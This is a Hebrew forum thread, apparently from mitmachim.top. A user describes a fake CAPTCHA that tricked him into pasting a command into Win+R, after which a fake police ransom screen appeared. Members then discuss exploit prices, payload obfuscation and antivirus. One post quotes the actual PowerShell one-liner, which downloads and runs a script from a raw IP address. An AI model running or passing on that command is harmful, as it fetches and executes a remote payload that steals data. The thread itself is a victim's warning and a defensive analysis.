שיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר
-
@צדיק-תמים כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:
מה זה האתרים האלה בכלל?
לא יודע, אני רק יודע שהם פרסמו מחירי נוזקות, ובפוסטים אחרים שלהם הם העלו צילומי מסך מהדרקנט כך שסביר שזה נכון...
@צדיק-תמים כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:
בכל מקרה אי אפשר להשוות סתם CVE ל CVE שמאפשר לברוח מארגז חול של דפדפן ולהצפין קבצים במחשב
נו באמת מוכרים שם נוזקות שלמות במחירים מגוחכים, משכירים רשת בוטנטים בגרושים, cve שימכר במיליונים זה חריג ביותר.
ואגב, רק מעצמה תקנה במיליונים. כי כלכלי - זה לא.
היום גם הכופרות לא מניבות הרבה רווחים, יש הרבה מודעות לא לשלם להם (לפחות אחרי שנחשפים אליהם יש מודעות...) ויש הרבה גיבויים, ויש הרבה שלא מעניין אותם עד כדי כך החומר שיש על המחשב... נכון שהיו חברות ששילמו כופר של רבע מיליון, אבל להשקיע מיליונים רק על חולשה של escape והסלמת הרשאות עוד לפני כל שאר ההוצאות של בניית נוזקה (הרי יש עוד חלקים חשובים חוץ מהבריחה) והפצתה וכל זה בשביל הימור שאולי ישלמו 300 דולר על הקבצים שסביר להניח שלא יחזרו... קלוש.
וכבר השתמשו בכאלו חולשותמה שכן חשוב מאוד לעדכן קבוע את הדפדפן
אין ספק, מסכים עם כל מילה
@עידו300 סתם ציטוט מתוך ראיון בdarknetdiaries
NICOLE: They were never going to pay the rates that governments and brokers were going to be offering for these tools, right? Like, the going rate for a zero-day exploit that gets you into an iPhone’s IOS software remotely is $2.5 million, although I found one broker in researching the book called Crowdfense that now offers even more than that; they offered $3 million for that same capability, so we’re getting out-priced these days by other countries.או בעברית
ניקול: "הם אף פעם לא עמדו לשלם את המחירים שממשלות ומתווכים הציעו עבור הכלים האלה, נכון? למשל, המחיר המקובל עבור פרצת 'יום אפס' (zero-day) שמאפשרת חדירה מרחוק למערכת ה-iOS של האייפון הוא 2.5 מיליון דולר, למרות שבזמן המחקר לספר מצאתי מתווך אחד בשם Crowdfense שמציע עכשיו אפילו יותר מזה; הם הציעו 3 מיליון דולר עבור אותה יכולת, כך שבימים אלה מדינות אחרות דוחקות אותנו החוצה מהשוק בגלל המחירים הגבוהים."
שם מדברים על למה חברות כמו אפל לא מצליחות להתחרות בשוק הפרטי וזו אחת הסיבות
לשאלתך כן עבור מדינות רבות זה כמו לקנות נשק לכול דבר ועניין
פרצות סייבר יכולות להיות כלים חזקים מאוד (עין ערך הפרצה ברכבי חברת jeep שהובילה לשליטה מרחוק על רכבים ול"תאונות" מכוונות)תחשוב על ה מה עדיף לך טיל כיפת ברזל במחיר של כמה מיליונים או וירוס מתוחכם רב פעמי?
ברור שבשביל ה300$ אף אחד לא ישקיע למרות שגם זה מצטבר אבל זה פשוט נשק סודי שאתה קונה כפשוטו. -
@עידו300 סתם ציטוט מתוך ראיון בdarknetdiaries
NICOLE: They were never going to pay the rates that governments and brokers were going to be offering for these tools, right? Like, the going rate for a zero-day exploit that gets you into an iPhone’s IOS software remotely is $2.5 million, although I found one broker in researching the book called Crowdfense that now offers even more than that; they offered $3 million for that same capability, so we’re getting out-priced these days by other countries.או בעברית
ניקול: "הם אף פעם לא עמדו לשלם את המחירים שממשלות ומתווכים הציעו עבור הכלים האלה, נכון? למשל, המחיר המקובל עבור פרצת 'יום אפס' (zero-day) שמאפשרת חדירה מרחוק למערכת ה-iOS של האייפון הוא 2.5 מיליון דולר, למרות שבזמן המחקר לספר מצאתי מתווך אחד בשם Crowdfense שמציע עכשיו אפילו יותר מזה; הם הציעו 3 מיליון דולר עבור אותה יכולת, כך שבימים אלה מדינות אחרות דוחקות אותנו החוצה מהשוק בגלל המחירים הגבוהים."
שם מדברים על למה חברות כמו אפל לא מצליחות להתחרות בשוק הפרטי וזו אחת הסיבות
לשאלתך כן עבור מדינות רבות זה כמו לקנות נשק לכול דבר ועניין
פרצות סייבר יכולות להיות כלים חזקים מאוד (עין ערך הפרצה ברכבי חברת jeep שהובילה לשליטה מרחוק על רכבים ול"תאונות" מכוונות)תחשוב על ה מה עדיף לך טיל כיפת ברזל במחיר של כמה מיליונים או וירוס מתוחכם רב פעמי?
ברור שבשביל ה300$ אף אחד לא ישקיע למרות שגם זה מצטבר אבל זה פשוט נשק סודי שאתה קונה כפשוטו.@cfopuser אין ספק שמעצמות יקנו בכאלו מחירים, זה גם מה שכתבתי, אבל לא בשביל בריחה מסנדבוקס...
ואתה מסכים איתי של 0-day של הפצת נוזקה על מחשב מרוחק עם 0-click מצד בעל המחשב (הדבר היחיד שצריך - לפחות לפי מה שמתועד - הוא שיהיה מערכת הפעלה של אפל, זה מטורף, זה שווה יותר ממליונים..) שווה פי כמה וכמה מבריחה מארגז חול? זה הרבה הרבה רמות מעל כל שאר הוירוסים. וזה בהחלט שווה את הסכום, שב2018 היה חצי מהסכום שהוזכר שם...
ואם כבר, אני לא מצליח להכנס לאתר שכתבת, אבל ממקום אחר שהזכירו את המחירון שלהם אז יש את הציטוט הבא:$500,000 for remote code-execution exploits in Chrome including a sandbox escape (previously $250,000 and $200,000 for Windows and Android respectively)
והבא
$80,000 for Windows local privilege escalation or sandbox escape (previously $50,000)
שים לב לפער המחירים...
וזה היה ב2019... המידע שהבאתי, יותר עדכני ולא סגור לחברה אחת...
-
@cfopuser אין ספק שמעצמות יקנו בכאלו מחירים, זה גם מה שכתבתי, אבל לא בשביל בריחה מסנדבוקס...
ואתה מסכים איתי של 0-day של הפצת נוזקה על מחשב מרוחק עם 0-click מצד בעל המחשב (הדבר היחיד שצריך - לפחות לפי מה שמתועד - הוא שיהיה מערכת הפעלה של אפל, זה מטורף, זה שווה יותר ממליונים..) שווה פי כמה וכמה מבריחה מארגז חול? זה הרבה הרבה רמות מעל כל שאר הוירוסים. וזה בהחלט שווה את הסכום, שב2018 היה חצי מהסכום שהוזכר שם...
ואם כבר, אני לא מצליח להכנס לאתר שכתבת, אבל ממקום אחר שהזכירו את המחירון שלהם אז יש את הציטוט הבא:$500,000 for remote code-execution exploits in Chrome including a sandbox escape (previously $250,000 and $200,000 for Windows and Android respectively)
והבא
$80,000 for Windows local privilege escalation or sandbox escape (previously $50,000)
שים לב לפער המחירים...
וזה היה ב2019... המידע שהבאתי, יותר עדכני ולא סגור לחברה אחת...
@עידו300 בריחה מסאנדבוקס משמעותו אתה לוחץ על לינק ובאותו רגע יש rce והמחשב שלך נשלט ברור שיש רמות בזה
ותאמין לי שלא כול אתר שני באינטרנט יודע בדיוק איך הדילים נסגרים ומספרים וכו'
אני דיברתי מתוך דברים ששמעתי מכמה מקורות שהם לדעתי מוסמכים מכאן והלאה זה פשוט יהיה הלוך ושוב של מי מביא יותר ציטטוים מגוגל אז צר לי אני לא רוצה לקחת בזה חלק.
מגוגל אתה יכול להוכיח שקרחים (🧊) זה מילה תקנית...אז נסכים שלא להסכים בסדר
-
@בנימין-מחשבים לא נראה לי אני יעבור על כול זה
אבל הנה הגיטהאב של התוקף/איפה שמאוחסן הוירוס (או יותר נכון השלב הבא שלו) למי שמעוניין
https://github.com/paper-skydiver-drv8 -
@cfopuser מצאתי שם רק מחרוזת base64 שמפענחת את עצמה שוב ושוב ושוב, לא הגעתי לסוף... זה מה שמצאת? פחדתי להוריד את זה למחשב גם רק בתור קובץ txt... למרות שזה לא אמור לרוץ אם אין מה שיריץ אותו, ואני לא מתכוון להריץ אותו...
@עידו300 בתכלס כן יש base64 שמפענחת את עצמה שוב ושוב ל utf - 16LE
ותוך כדי שי בדיקות על המחשב שהקוד רץ בו לבדוק שהוא רגיל ולא מוגן בסוף אנחנו מגיעים לקוד הסופי שרץ בסביבבת דוקר מתוך איזה דומיין שהוא קנה מאיזה חברת קש.הקוד שמוריד מהדומיין מאוד חמוד יש הערות בפנים והכול מפורט פשש.
וזה הכנה לקוד שבדומיין שמה יש אין סוף חישובים מתמטים סתם כדי לערפל את הקוד,
בעיקרון באתי להריץ את זה במכונה וירטואלית ולעצור אותו בסוף ולחלץ מה קורה בסוף אבל עצרתי שם. -
@עידו300 בתכלס כן יש base64 שמפענחת את עצמה שוב ושוב ל utf - 16LE
ותוך כדי שי בדיקות על המחשב שהקוד רץ בו לבדוק שהוא רגיל ולא מוגן בסוף אנחנו מגיעים לקוד הסופי שרץ בסביבבת דוקר מתוך איזה דומיין שהוא קנה מאיזה חברת קש.הקוד שמוריד מהדומיין מאוד חמוד יש הערות בפנים והכול מפורט פשש.
וזה הכנה לקוד שבדומיין שמה יש אין סוף חישובים מתמטים סתם כדי לערפל את הקוד,
בעיקרון באתי להריץ את זה במכונה וירטואלית ולעצור אותו בסוף ולחלץ מה קורה בסוף אבל עצרתי שם.@cfopuser אז לפותח השרשור אפשר להגיד כמעט בוודאות שככל הנראה התוכן על המחשב לא יוצפן לו, אבל סביר להניח שכל סיסמא שהיתה לו אי פעם על המחשב חייבת שינוי דחוף? (זה שאלה, כן?)
אבל זה מוזר שגנב מידע יבקש כופר? אולי הסוואה? או עוד משהו על הדרך?
אגב, אתה נשמע מאוד בתחום, אולי יעניין אותך.
ואולי המלצה, להכניס איפה שהוירוס בודק את המחרוזת שמעדכנת שזו מכונה וירטואלית, זה יחסוך הרבה וירוסים, אפשר גם להתקין ג'ידרה וכאלו כלים.
-
אתמול נתבקשתי על ידי אתר שקפץ לי בתור פרסומת, "לאמת שאני לא רובוט
".
רק שזה היה נראה בדיקה שונה, כך זה היה: להקיש לחצן התחל+R, ואז קונטרול+V, ואז אנטר.
את כל "האימות" הזה עשיתי במהירות, כך שלא חשבתי מה זה יכול לחולל.
מיד אחרי השלבים האלה נפתח חלון של PowerShell שהריצה פקודה קצרה ונסגרה ,
מיד נפתח חלון על כל המסך הודעה משטרת ישראל על עבירות חוק מהמחשב, ואמור להנעל המחשב לצמיתות, או תשלום כופר ע"ס: ₪1,100.
אף פעם לא חשבתי שתוכנות כופר יגיעו אלי, עד שהייתי צריך להשבית את כל האנטי וירוס כדי להתקין משהו, ובדיוק בזמן הזה זה קורא.
תחכימו תלמדו ותזהרו!נתתי לai את הפקודה שהדבקתי בחלונית ההתחל שפתחתי, וזה טוען שלקחו ממני כתובת ip, וכנראה סיסמאות
-
@MGM-IVR אם אתם מעוניינים לראות מה היה צריך להדביק ב"התחל"- בספויילר.
רק אל תנסו להשתמש בו!!!
אני לא לוקח אחריות.
ולאקרים שבנינו - תפענחו מה עשה בדיוק הפקודה, מה גנבו... אם גנבוpowershell -wi mi (.'powershell' (. 'wget' -usebas '84.21.189.170:5506/clo.txt'));I am not a bot - Verification ID: #8620
-
@יונימדיה לי היה גם דבר כזה באיזה אתר של תוכנות או משהו אבל בלי כל זה פשוט אימות לחצתי על כפתור ואז הופיע המסך של המשטרה וזה
קרה לי נזק????????????@אלישע-מואב-0 לא אם המסך של המשטרה היה בתוך הדפדפן
אם ראית שזה התוכנה שרצה על המחשב זה כבר משהו אחר -
@יונימדיה אם התוכנה הזדונית כבר הותקנה על המחשב היא עלולה להצפין את כל מה שיש על הדיסק
הרעיון שהציעו כאן לכבות את המחשב מיד - לא בטוח שזה רעיון טוב
אדרבה יכול להיות שמפתח ההצפנה נמצא בRAM וכל זמן שלא תכבה את המחשב יהיה אפשר לחלץ אותו משם
כדאי להתיעץ עם אנשי מקצוע
בכל אופן לכאורה אנטי וירוס לא היה עוזר כאן מכיון שאתה בעצמך הרצת קוד זדוני בPOWERSHELL. -
@יונימדיה אם התוכנה הזדונית כבר הותקנה על המחשב היא עלולה להצפין את כל מה שיש על הדיסק
הרעיון שהציעו כאן לכבות את המחשב מיד - לא בטוח שזה רעיון טוב
אדרבה יכול להיות שמפתח ההצפנה נמצא בRAM וכל זמן שלא תכבה את המחשב יהיה אפשר לחלץ אותו משם
כדאי להתיעץ עם אנשי מקצוע
בכל אופן לכאורה אנטי וירוס לא היה עוזר כאן מכיון שאתה בעצמך הרצת קוד זדוני בPOWERSHELL.@צללית לשחרר פוינטר של מפתח הצפנה מהראם זה עניין של פחות מאלפית השנייה, ועד שיעשו dump לזיכרון מזמן הוא יעלם,
ברור שעדיף לכבות את המחשב ולהציל את המידע הנשאר.אנטי וירוס היה עוזר כאן כי הסוגים המתקדמים מזהים פעילות חשודה ולא רק קבצים חשדים.
בנוסף הם חוסמים הרצת קוד בצורות כאלה.
וכפי שניתן לראות מסריקה פשוטה עד כמה אנטיוירוסים שונים עולים על הקובץ כמסוכן -
@cfopuser אז לפותח השרשור אפשר להגיד כמעט בוודאות שככל הנראה התוכן על המחשב לא יוצפן לו, אבל סביר להניח שכל סיסמא שהיתה לו אי פעם על המחשב חייבת שינוי דחוף? (זה שאלה, כן?)
אבל זה מוזר שגנב מידע יבקש כופר? אולי הסוואה? או עוד משהו על הדרך?
אגב, אתה נשמע מאוד בתחום, אולי יעניין אותך.
ואולי המלצה, להכניס איפה שהוירוס בודק את המחרוזת שמעדכנת שזו מכונה וירטואלית, זה יחסוך הרבה וירוסים, אפשר גם להתקין ג'ידרה וכאלו כלים.
ואולי המלצה, להכניס איפה שהוירוס בודק את המחרוזת שמעדכנת שזו מכונה וירטואלית, זה יחסוך הרבה וירוסים,
@עידו300 זה בודק דברים כמו מודל של bios ודברים דומים וברור שבשלב מתקדם הוא עושה בדיקות יותר מתוחכמות.
אפשר גם להתקין ג'ידרה וכאלו כלים.
ida הרבה יותר טוב מג'ידרה לקריאת אסמבלי טהור אבל בכול הנוגע לpseudo אולי לghidra יש יתרון קטן שגם הוא מתגמד לעומת כול המעלות בida
אגב, אתה נשמע מאוד בתחום, אולי יעניין אותך.
לא יודע אם מעניין, אבל בהחלט מוכר השאלות ששואלים שם...
ועוד יותר מוכרים הכותבים
תודה רבה לאשי ורד (A.I.V Dev)
-
ואולי המלצה, להכניס איפה שהוירוס בודק את המחרוזת שמעדכנת שזו מכונה וירטואלית, זה יחסוך הרבה וירוסים,
@עידו300 זה בודק דברים כמו מודל של bios ודברים דומים וברור שבשלב מתקדם הוא עושה בדיקות יותר מתוחכמות.
אפשר גם להתקין ג'ידרה וכאלו כלים.
ida הרבה יותר טוב מג'ידרה לקריאת אסמבלי טהור אבל בכול הנוגע לpseudo אולי לghidra יש יתרון קטן שגם הוא מתגמד לעומת כול המעלות בida
אגב, אתה נשמע מאוד בתחום, אולי יעניין אותך.
לא יודע אם מעניין, אבל בהחלט מוכר השאלות ששואלים שם...
ועוד יותר מוכרים הכותבים
תודה רבה לאשי ורד (A.I.V Dev)
-
ואולי המלצה, להכניס איפה שהוירוס בודק את המחרוזת שמעדכנת שזו מכונה וירטואלית, זה יחסוך הרבה וירוסים,
@עידו300 זה בודק דברים כמו מודל של bios ודברים דומים וברור שבשלב מתקדם הוא עושה בדיקות יותר מתוחכמות.
אפשר גם להתקין ג'ידרה וכאלו כלים.
ida הרבה יותר טוב מג'ידרה לקריאת אסמבלי טהור אבל בכול הנוגע לpseudo אולי לghidra יש יתרון קטן שגם הוא מתגמד לעומת כול המעלות בida
אגב, אתה נשמע מאוד בתחום, אולי יעניין אותך.
לא יודע אם מעניין, אבל בהחלט מוכר השאלות ששואלים שם...
ועוד יותר מוכרים הכותבים
תודה רבה לאשי ורד (A.I.V Dev)
-
@עידו300 https://mitmachim.top/post/1086783
זה לא בעתיד זה ככה היה בעבר וזה ממש לא ריאלי כיום.
זה אולי ריאלי לאיזה כמה בייטים בודדים לא יותר. -
@מישהו12
אם נאמר מתקינים אנשים ווינדוס פרוץ עם KMS (הפריצה בווינדוס גם משנה דברים לא לגיטימיים במערכת הפעלה?)
זה גם גרוע כמו שכתבת לגבי לא להתקין אנטי וירוס ESET פרוץ@world הפריצות המפורסמות לווינדוס נחקרו על ידי מאות ואולי אלפי אנשים ולא התפרסם שהן נוזקות
אי אפשר לקבוע על העתיד אבל בינתיים זה בסדרצריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com
-
@world הפריצות המפורסמות לווינדוס נחקרו על ידי מאות ואולי אלפי אנשים ולא התפרסם שהן נוזקות
אי אפשר לקבוע על העתיד אבל בינתיים זה בסדר@מתכנת-חובב כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:
@world הפריצות המפורסמות לווינדוס נחקרו על ידי מאות ואולי אלפי אנשים ולא התפרסם שהן נוזקות
ומדובר בOpenSource, לפחות בחלק מהמקרים.
הרב שלי הלכתית אוסר לפרוץ, ולכן אל תראו בדברי אמירה שאין בעיה, אבל ברמה הטכנית בלבד - אם מדובר במשהו מוכר מאוד, ותיק מאוד, וקוד פתוח - זה כנראה אמין
 { const baseUrl = "https://www.google.co.il/search?q=site:mitmachim.top"; const m = location.pathname.match(/^\/(topic|category)\/(\d+)/); const type = m ? m[1] : null; const id = m ? m[2] : null; let searchInput; function search(path = "") { const query = searchInput.value.trim(); if (query) { window.open(`${baseUrl}${path}%20${encodeURIComponent(query)}`, "_blank"); } } let buttons = {}; buttons.searchAll = { id: "bb-search-all", label: `חיפוש ${type ? "בכל הפורום" : ""}`, className: type ? "btn-secondary" : "btn-primary", callback: () => search(), }; if (type === "topic") { buttons.searchTopic = { label: "חיפוש בנושא זה", className: "btn-primary", callback: () => search(`/topic/${id}`), }; } else if (type === "category") { buttons.searchCategory = { label: "חיפוש בקטגוריה זו", className: "btn-primary", callback: () => search(`/category/${id}`), }; } buttons.cancel = { label: "ביטול", className: "btn-default", "data-bs-dismiss": "modal" }; const dialog = bootbox.dialog({ title: '<div style="text-align:center;"><img src="/assets/uploads/files/1625950269825-mt-google.png" width="400" alt="חיפוש בגוגל"></div>', message: '<input id="bb-inp" class="bootbox-input bootbox-input-text form-control" placeholder="הקלידו כדי לחפש בגוגל" autocomplete="off"/>', buttons, backdrop: true, show: true, onEscape: true }); dialog.on("shown.bs.modal", function () { searchInput = document.getElementById("bb-inp"); if (searchInput) { searchInput.focus(); searchInput.addEventListener("keydown", function (e) { if (e.key === "Enter") { e.preventDefault(); const query = this.value.trim(); if (query) { search(); dialog.modal("hide"); } } else if (e.key === "Escape") { e.preventDefault(); dialog.modal("hide"); } }); } const searchAllButton = document.getElementById("bb-search-all"); if (searchAllButton) { searchAllButton.title = "לחצו על אנטר כדי לחפש"; } }); })(); void 0;){kind=link}